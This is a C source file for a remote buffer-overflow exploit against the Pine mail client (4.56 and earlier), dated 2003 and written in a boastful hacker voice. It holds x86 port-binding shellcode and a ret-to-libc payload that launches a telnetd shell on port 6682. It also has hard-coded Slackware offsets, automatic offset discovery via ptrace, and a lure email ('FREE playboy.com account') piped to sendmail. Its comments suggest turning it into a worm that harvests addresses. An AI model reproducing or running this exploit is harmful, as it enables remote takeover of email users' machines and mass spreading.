|
Pine <= 4.56 Remote Buffer Overflow Exploit
|
/*
* Mon Sep 15 09:35:01 CEST 2003
*
* (remote?) Pine <= 4.56 exploit
* by sorbo (sorbox yahoo com)
* darkirco
*
* Ok won't talk much about the bug since as usual idefense advisories
* are *proper* advisories and explain everything... exploiting the bug
* is trivial after reading the adv:
* http://www.idefense.com/advisory/09.10.03.txt
*
* There are two ways of doing this:
* 1) standard shellcode
* we don't need offset here because of nature of hole...
* all we need is distance from a variable to eip which is quite fixed
* it is not like we need an "offset somewhere in stack"
* just a relative distance
*
* 2) ret to libc (should work on fbsd too)
* this requires our command string somewhere in memory
* we may use .bss (fixed)
* we also need distance from variable to ebp (quite fixed)
* and we need addr of system (fixed)
* This is "own" grsec since we don't really run a shellcode
* and directly overwrite eip
*
* In both method i said u need the dist from var -> eip/ebp
* this can actually be "bruteforced"
* I didn't show this since this is a PoC and uses "exact offsets"
* All u do is supply multiple charsets and overwrite larger areas of memory
* This makes method 1 100% successfull (or letys say 99.9%)
* (nice for remote exploitation)
*
* Method 2 is "slightly harder" to bruteforce since u must NOT overwrite
* eip... so u must "stop ur bruteforce ad ebp" somehow... but thats kinda
* gay ;D
*
* With unfallable method one a worm can easily be done...
* shellcode that listens and uploads worm...
* and executes a grep \@ /var/spool/mail/bla or whatever to get emails
* or pine addr book
*
* also for normal "owning" u can use reverse telnetd shellcode
* so u just keep a server up and don't have to "wait" for person
* to launch sploit
*
* Greetz: zen-parse (thanks for your patience (if im not in ur ignore ;D))
* non metto i soliti stronzi de merda nei greetz (tipo gunzip ;D)
* e specialmente kuelle ke non me la danno ;D ahahah
*
* #areyoucrazy@ircnet
* (most leet chan... fill it up with ur bots ;D)
*
* and last but not least... the world must know: s0lar TI AMO!!!
*
*
* ok enough... hope this exp is lame enough i wanted to close my summer
* vacation with it and proove the world i had nothing better to do =D
* college is starting c ya
*
* to own remotely: ./sorpine -o 1 -t bla bla com | sendmail -t
*
* Enjoy have fun!
*
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define PINE "/usr/bin/pine"
#define PLIST 50 /* a location buff-PLIST that is writable (.bss) */
/* port bind command ;D
* from vi spawn a shell duh...
*
*/
char *lame_cmd =
"/usr/sbin/in.telnetd -L /usr/bin/vi -debug 6682 & /bin/killall -9 pine";
struct target_info {
char desc[1024];
int method; /* 0 easy , 1 hard */
int dist; /* eip or ebp depending on method */
int buff;
int sys;
};
/*
* notice to slackware maintainers:
* sorry guyz.. its not that im against u
* its that I only use slack =(
* thats y all my exps only have slack targets ;D
* keep up the good work =D
* plus... its free advertisment for u!
*
*/
struct target_info targets[] = {
{ "Slackware 9.0",0,300,0,0},
{ "Slackware 9.0",1,296,0x083c8f15,0x0804aeda},
{ "Slackware 8.1",0,284,0,0},
{ "Slackware 8.1",1,280,0x0838e0d5,0x0804aeca},
{ "Slackware 8.0",0,284,0,0},
{ "Slackware 8.0",1,280,0x0836d875,0x0804a5ba}
};
/*
* Non usable chars in egg (sc and various addrs)
*
*/
char nonusable[] = "\x09\x0a\x0d\x28\x29\x5c";
/*
* lame (but working??) modification of sorshell
* no setsockopt() =((( too long
* portbinding shellcode with terminal support
* (if whatever i said makes sense)
* port 6682
* telnet ip 6682
* ^]
* telnet> mode character
*
* funny how my ret to libc does the same thing and its 0 byte shellcode ;D
*
*/
char shellcode[] =
"\x31\xc9\xf7\xe1\xb0\x02\xcd\x80\x39\xc8\x74\x05\x31\xc0\x40\xcd\x80\x31"
"\xc0\xb0\x06\x50\xb0\x01\x50\x89\xc3\x40\x50\xb0\x66\x89\xe1\xcd\x80\x89"
"\xc2\x31\xdb\x53\x66\xb9\x1a\x1a\xc1\xe1\x10\xb1\x02\x51\x89\xe1\x6a\x10"
"\x51\x52\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x52\x89\xe1\xb0\x66\xb3"
"\x04\xcd\x80\x31\xc0\x50\x50\x52\x89\xe1\xb0\x66\x43\xcd\x80\x89\xc7\x89"
"\xd3\x89\xc1\xb0\x06\x89\xc8\x31\xd2\x52\x68\x70\x74\x6d\x78\x68\x64\x65"
"\x76\x2f\x68\x2f\x2f\x2f\x2f\x31\xc9\xb1\x02\x89\xe3\xb0\x05\xcd\x80\x89"
"\xc6\x52\x89\xe2\xb9\x31\x54\x04\x40\x89\xf3\xb0\x36\xcd\x80\x89\xe2\xb9"
"\x30\x54\x04\x80\xb0\x36\xcd\x80\x59\x83\xc1\x30\xc1\xe1\x18\xba\x01\x74"
"\x73\x2f\xc1\xea\x08\x01\xca\x31\xc9\x51\x52\x31\xd2\x68\x65\x76\x2f\x70"
"\x68\x2f\x2f\x2f\x64\xb1\x02\x89\xe3\xb0\x05\xcd\x80\x89\xc2\xb0\x02\xcd"
"\x80\x31\xc9\x39\xc8\x75\x3f\xb0\x42\xcd\x80\xb1\x03\x31\xc0\x89\xd3\xb0"
"\x3f\x49\xcd\x80\x41\xe2\xf8\x89\xd3\xb0\x06\xcd\x80\x89\xf3\xb0\x06\xcd"
"\x80\x89\xfb\xb0\x06\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x89\xd3"
"\x31\xc0\xb0\x06\xcd\x80\x83\xec\x50\x31\xc9\xf7\xe1\x31\xdb\x89\xf9\x43"
"\xd3\xe3\x01\xd8\x89\xf1\x31\xdb\x43\xd3\xe3\x01\xd8\x50\x89\xda\x89\xcb"
"\x43\x89\xe1\x52\x57\x56\x31\xff\x31\xf6\x31\xc0\x99\xb0\x8e\xcd\x80\x5e"
"\x5f\x5b\x58\x21\xd8\x31\xdb\x39\xc3\x75\x1b\xb2\x50\x89\xe1\x89\xfb\x31"
"\xc0\xb0\x03\xcd\x80\x83\xf8\x01\x7c\x26\x89\xc2\x89\xf3\xb0\x04\xcd\x80"
"\xeb\xad\xb2\x50\x89\xe1\x89\xf3\x31\xc0\xb0\x03\xcd\x80\x83\xf8\x01\x7c"
"\x0b\x90\x89\xc2\x89\xfb\xb0\x04\xcd\x80\xeb\x91\x31\xc0\x40\xcd\x80";
/* cause a break and have a "test" number to check */
char testsc[] = "\xcc\x01\x02\x03\x04";
struct bss {
int start;
int end;
};
char mail[6666]; /* this is basically the "egg" */
void die(int i, char *m) {
if(i)
perror(m);
else
printf("%s\n",m);
exit(0);
}
/*
* prepare boring part of email
*
*/
void prepare_mail(char *from, char *sub, char *to) {
snprintf(mail,sizeof(mail),
"From: %s\n"
"Subject: %s\n"
"To: %s\n"
"MIME-Version: 1.0\n"
"Content-Type: multipart/related;\n"
" type=\"multipart/alternative\";\n"
" boundary=sorbo-rox\n\n"
"--sorbo-rox\n",from,sub,to);
}
/*
* ok here da tricky bit
* arg: number of bytes (distance)
*
* it returns a positive unsigned int
* that becomes negative when singed
* that when *4 becomes signed
* matching our distance
* yeah kinda dirty... i hate numbers ;D
* w00t
*
*/
unsigned int num(int dist) {
int tmp = -1-dist;
unsigned int border = tmp;
int neg = (border/4)*(-1);
unsigned int res;
res = 0xffffffff+neg;
return res;
}
/*
* ret-to-libc system() grsex 0wned
*
* we overwrite ebp
* we control esp (heap)
* we make stack perfect and make it ret to system
*
*
* conditions plist must be writable (bss is ok)
* we must know addr of ptr to our command (bss is fixed)
*
* NOTE: segfault after shell is NORMAL since it will return to plist addr
*
*/
void own_hard(int sys, int plist, int cmd, int dist, char *command) {
char egg[1024];
int *ptr = (int*)&egg[0];
*ptr = 0x41414141; /* ebp */
ptr++;
*ptr = sys; /* system */
ptr++;
*ptr = plist; /* ret / plist */
ptr++;
*ptr = cmd; /* /bin/sh */
ptr++;
*ptr = 0;
/* practice: exploit this exploit =D */
sprintf(mail+strlen(mail),
"Content-Type: message/external-body;\n"
" access-type=\"%s\";\n"
" charset*%u*=\"%s\";\n"
"Content-Transfer-Encoding: 8bit\n"
"--sorbo-rox--\n",
command,num(dist), egg);
}
/*
* we overwrite ret addr and own it
* no offset needed since we control area pointer by ret directly
* well we do need the stack distance from params to eip
*
*/
void own_easy(int dist, char *s) {
/* practice: exploit this exploit =D */
sprintf(mail+strlen(mail),
"Content-Type: text/html;\n"
" charset*%u*=\"%s\";\n"
"Content-Transfer-Encoding: 8bit\n"
"--sorbo-rox--\n",
num(dist), s);
}
/* create a lame pinerc */
void pinerc() {
int pid;
pid = fork();
if(pid == -1)
die(1,"fork()");
if(!pid) {
char *arg[] = { "pine","-p","/tmp/pinerc", NULL };
close(1);
close(2);
execve(PINE,arg,NULL);
die(1,"execve()");
}
else {
sleep(1);
kill(pid,SIGKILL);
wait(NULL);
}
if(system("grep -v inbox-path /tmp/pinerc > /tmp/o "
"&& mv /tmp/o /tmp/pinerc && "
"echo inbox-path=/tmp/meil >> /tmp/pinerc")<0)
die(1,"system()");
}
void write_mail(char *path) {
FILE *f;
f = fopen(path,"w");
if(!f)
die(1,"fopen()");
if(fprintf(f,"From sorbo Tue Nov 29 00:00:00 1983\n%s",mail) < 1)
die(1,"fprintf()");
fclose(f);
}
char *line;
/* get a free tty */
int getty(int *master, int *slave) {
if ((*master = open("/dev/ptmx", O_RDWR)) == -1)
return -1;
if (grantpt(*master) == -1 ||
unlockpt(*master) == -1 ||
(line = (char*)ptsname(*master)) == NULL ||
(*slave = open(line, O_RDWR)) == -1) {
close(*master);
return -1;
}
return 0;
}
/* fire up debugged process (and continue && wait) */
int start_debug(int cont) {
int pid = fork();
int slave,master;
/* we associate it to tty cuz ncurses fucks up screen */
if( getty(&master,&slave) == -1)
die(0,"getty()");
if(pid == -1)
die(1,"fork()");
/* child */
if(!pid) {
char *arg[] = { "pine", "-p","/tmp/pinerc","-I",
"l,>,>,<,<,q,y",NULL };
if(ptrace(PTRACE_TRACEME,NULL,NULL)==-1)
die(1,"ptrace()");
if ((pid = open(line, O_RDWR)) == -1)
die(1,"open()");
dup2(pid,0);
close(1);
close(2);
execv(PINE,arg);
die(1,"execve()");
}
else {
wait(NULL);
if(cont) {
if(ptrace(PTRACE_CONT,pid,0,0) == -1)
die(1,"ptrace()");
wait(NULL);
}
}
return pid;
}
void stop_debug(int pid) {
if(ptrace(PTRACE_KILL,pid,0,0) == -1)
die(1,"ptrace()");
wait(NULL);
}
/*
* 0 = nope
* 1 = yea
* duh ;D
*
*/
int test_dist() {
struct user_regs_struct regs;
int x;
int pid = start_debug(1);
if(ptrace(PTRACE_GETREGS,pid,NULL,®s)==-1)
return 0; /* exited normally prolly */
// printf("EIP=%x\n",regs.eip);
x = ptrace(PTRACE_PEEKTEXT,pid,regs.eip,NULL);
if(x == -1 && errno != 0 && errno != EIO)
die(1,"ptrace()");
// printf("INSTR=%x\n",x);
stop_debug(pid);
if(x == *((int*)&testsc[1]))
return 1;
return 0;
}
/* popen and get line */
char *getShit(char *cmd) {
FILE *f;
static char buff[1024];
f = popen(cmd,"r");
if(f == NULL) {
perror("popen");
exit(0);
}
buff[0] = 0;
fgets(buff,sizeof(buff),f);
pclose(f);
return &buff[0];
}
/* get a number from a popen */
int getInt(char *p) {
char *ptr = getShit(p);
int ret = 0;
if(sscanf(ptr,"%x",&ret)!=1) {
printf("Error in getting addr\n");
exit(0);
}
return ret;
}
/* get start and end of bss */
struct bss getbss() {
struct bss b;
b.start = getInt("objdump --headers "
PINE" | grep \" .bss\" | awk '{print $4}'");
b.end = getInt("objdump --headers "
PINE" | grep \" .bss\" | awk '{print $3}'");
b.end += b.start;
return b;
}
/* find our buff (command) in the process memory .bss */
int findbuf(int ebp) {
struct bss b;
int pid;
int cmd = 0x12345678;
int addr;
int ret = -1;
struct user_regs_struct regs;
int x;
b = getbss();
printf(".bss START =0x%.8x END=0x%.8x\n",b.start,b.end);
prepare_mail("from","subj","to");
own_hard(0x41414141,b.start,b.start,ebp,(char*)&cmd);
write_mail("/tmp/meil");
addr = b.start;
pid = start_debug(1);
if(ptrace(PTRACE_GETREGS,pid,NULL,®s)==-1)
return -1; /* exited normally prolly */
// printf("EIP=%x\n",regs.eip);
if(regs.eip != 0x41414141)
return -1;
for(addr = b.start; addr < b.end; addr++) {
printf("Checking 0x%.8x\r",addr);
fflush(stdout);
x = ptrace(PTRACE_PEEKTEXT,pid,addr,NULL);
if(x == -1 && errno != 0)
die(1,"ptrace()");
if(x == cmd) {
ret = addr;
break;
}
}
stop_debug(pid);
putchar('\n');
return ret;
}
/* get system from libc */
int getSystem() {
int base;
int offset;
char tmp[1024*2];
char libc[512];
/* binary specific */
base = getInt("ldd " PINE
" | grep \"libc\\.\" | awk '{print $4}' | tr -d \"()\"");
// printf("GLIBC base addr 0x%.8x\n",base);
/* get libc path */
snprintf(libc,sizeof(libc),"%s",getShit("ldd " PINE
" | grep \"libc\\.\" | awk '{print $3}'"));
if(strlen(libc) <2) {
printf("can't get libc location\n");
exit(0);
}
libc[strlen(libc)-1] = 0;
/* lib specific */
snprintf(tmp,sizeof(tmp),"objdump -T %s | grep \\ system | "
"awk '{print $1}' ",libc);
offset = getInt(tmp);
// printf("GLIBC __libc_system offset 0x%.8x\n",offset);
offset += base;
// printf("system() addr 0x%.8x\n",offset);
return offset;
}
/* check if offset contains non usable chars */
int isUsable(int x) {
int i,j;
for(i = 0; i < sizeof(x); i++)
for(j =0; j < sizeof(nonusable); j++)
if( *(((unsigned char*)&x)+i) == nonusable[j])
return 0;
return 1;
}
/* get various system offsets */
int *getSystemOffsets() {
static int off[3];
int pid;
int x;
off[0] = getSystem();
off[1] = getInt("objdump -T "PINE" | grep system | awk '{print $1}'");
off[2] = getInt("objdump -R "PINE" | grep system | awk '{print $1}'");
pid = start_debug(0);
x = ptrace(PTRACE_PEEKTEXT,pid,off[2],NULL);
if(x == -1 && errno != 0)
die(1,"ptrace()");
off[2] = x;
stop_debug(pid);
return &off[0];
}
/* get target from local pine */
struct target_info getTarget() {
struct target_info target;
int *sysa;
int i;
char os[512];
/* get a description of target */
snprintf(os,sizeof(os),getShit("uname -sr | tr -d '\n'"));
snprintf(target.desc,sizeof(target.desc),"%s Pine %s",os,
getShit(PINE" -v | awk '{print $2}' | tr -d '\n'"));
printf("Trying to own: %s\n",target.desc);
pinerc();
/* find stack dist from params -> eip */
printf("Searching stack distance\n");
for(target.dist = 4; target.dist < 1024; target.dist+=4) {
prepare_mail("from","subj","to");
own_easy(target.dist,testsc);
write_mail("/tmp/meil");
printf("Testing target.dist %d\r",target.dist);
fflush(stdout);
if(test_dist())
break;
}
printf("\n");
if(target.dist == 1024)
die(1,"Can't find dist");
printf("DIST=%d\n\n",target.dist);
printf("Ok theoretically we can exploit it the easy way\n"
"looking for hard way shit now\n\n");
/* find our buffer on bss ebp should b eip-4 */
target.buff = findbuf(target.dist-4);
target.method = 0;
if(target.buff != -1) {
target.method = 1;
if(!isUsable(target.buff) || !isUsable(target.buff-PLIST))
die(0,"TODO: addr not usuable... trivial to fix");
printf("Our command will lie in 0x%.8x\n\n",target.buff);
/* find usable system() addr */
printf("Obtaining system() addr list\n");
sysa = getSystemOffsets();
for(i = 0; i < 3; i++) {
int usable = isUsable(sysa[i]);
printf("System %d:0x%.8x %s\n",i,sysa[i],
usable?"OK":"NOT OK");
if(usable)
target.sys = sysa[i];
}
printf("Will use 0x%.8x\n\n",target.sys);
}
else
printf("Unable to do things the hard way =(\n");
unlink("/tmp/pinerc");
unlink("/tmp/meil");
printf("Summary of targets for this system:\n"
"{ \"%s\",0,%d,0,0},\n",target.desc,target.dist);
if(target.method)
printf("{ \"%s\",1,%d,0x%.8x,0x%.8x}\n",
target.desc,target.dist-4,target.buff,target.sys);
return target;
}
/* yeah kids luv this */
void skriptkiddie_s0lar() {
char *mbox;
FILE *f;
struct target_info target;
printf("O shit... is it s0lar running this exp again?\n"
"not even a -h? ok lets make her happy and make everyhing magically work\n"
"WARNING: need write axx on /tmp and use of gdb (no grsec high)\n\n");
target = getTarget();
mbox = (char*)getenv("MAIL");
if(!mbox)
die(0,"getenv()");
printf("Attempting to write mails to %s\n",mbox);
f = fopen(mbox,"a");
if(!f)
die(1,"fopen()");
/* first mail (easy) */
prepare_mail("Andrei Koymaski ",
"Easy method portbind 6682","Gustavo Lamazza ");
own_easy(target.dist,shellcode);
if(fprintf(f,"From sorbo Tue Nov 29 00:00:00 1983\n%s\n",mail)<1)
die(1,"fprintf()");
/* second mail (hard)
* we run vi and then
* :!/bin/sh
* cuz we don't have enough space to make a bindshell and shit
*/
if(target.method) {
prepare_mail("Osama Bin Laden ",
"Hard method (owns grsec) portbind 6682 with vi... spawn shell from vi",
"George Bush ");
own_hard(target.sys,target.buff-PLIST,target.buff,
target.dist-4,
lame_cmd);
if(fprintf(f,"From sorbo Tue Nov 29 00:00:00 1983\n%s\n",mail)<1)
die(1,"fprintf()");
}
printf("You should have mail... read with pine and see if this"
" crap worx\n");
printf("Enjoy.... s0lar ti amo\n");
exit(0);
}
void listTargets() {
int i;
printf( "Id\tDescription\tMethod\tDist\tBuff\t\tsystem()\n"
"========================================================================\n");
for(i =0; i < sizeof(targets)/sizeof(struct target_info); i++) {
printf("%d\t%s\t%s\t%d\t0x%.8x\t0x%.8x\n",
i,targets[i].desc,targets[i].method?"hard":"easy",
targets[i].dist,targets[i].buff,targets[i].sys);
}
}
/* own a target */
void own(struct target_info t,char *from,char *sub,char *to) {
prepare_mail(from,sub,to);
/* hard */
switch(t.method) {
case 1:
own_hard(t.sys,t.buff-PLIST,t.buff,t.dist,lame_cmd);
break;
case 0:
own_easy(t.dist,shellcode);
break;
default:
die(0,"Unknown ownage method");
}
printf("%s",mail);
}
void usage(char *m) {
printf("Usage: %s \n"
"-h\tthis lame message\n"
"-f\tfrom\n"
"-t\tto\n"
"-s\tsub\n"
"-o\ttarget\n"
"-m\tmethod 0:easy 1:hard(grsex)\n"
"-d\tdist\n"
"-b\tbuff\n"
"-l\tsystem\n\n"
,m);
listTargets();
}
int main(int argc, char *argv[]) {
char from[512];
char to[512];
char sub[512];
int opt;
struct target_info t;
struct target_info *target = &t; /* we shall own this */
strcpy(from,"Justin Time ");
strcpy(to,"You ");
strcpy(sub,"You are selected! Come get your FREE playboy.com account");
t.method = -1;
t.buff = 0;
t.sys = 0;
t.dist = 0;
fprintf(stderr,"(remote?) Pine <= 4.56 exploit "
"by sorbo (sorbox yahoo com)\np s grsec won't save you =(\n\n");
if(argc<2)
skriptkiddie_s0lar();
while( (opt = getopt(argc,argv,"hf:t:s:o:m:d:b:l:")) != -1) {
switch(opt) {
default:
case 'h':
usage(argv[0]);
exit(0);
case 'm':
t.method = atoi(optarg);
break;
case 'd':
t.dist = atoi(optarg);
break;
case 'b':
if(sscanf(optarg,"%x",&t.buff) != 1)
die(0,"Can't parse buff addr");
break;
case 'l':
if(sscanf(optarg,"%x",&t.sys) != 1)
die(0,"Can't parse sys addr");
break;
case 'f':
/* does snprintf put the 0 at end if arg
* barely fits ? i never really looked into
* this... hope it does! ;D
*/
snprintf(from,sizeof(from),"%s",optarg);
break;
case 't':
snprintf(to,sizeof(to),"%s",optarg);
break;
case 's':
snprintf(sub,sizeof(sub),"%s",optarg);
break;
case 'o': {
unsigned int o = atoi(optarg);
if(o >=
sizeof(targets)/sizeof(struct target_info))
die(0,"Target outta range");
target = &targets[o];
break;
}
}
}
/* check if we got all we need */
if(target == &t) {
if(!t.dist)
die(0,"provide dist");
if(t.method == 1)
if(!t.buff || !t.sys)
die(0,"buff or sys not provided");
}
/* go for it */
own(*target,from,sub,to);
exit(0);
}
|
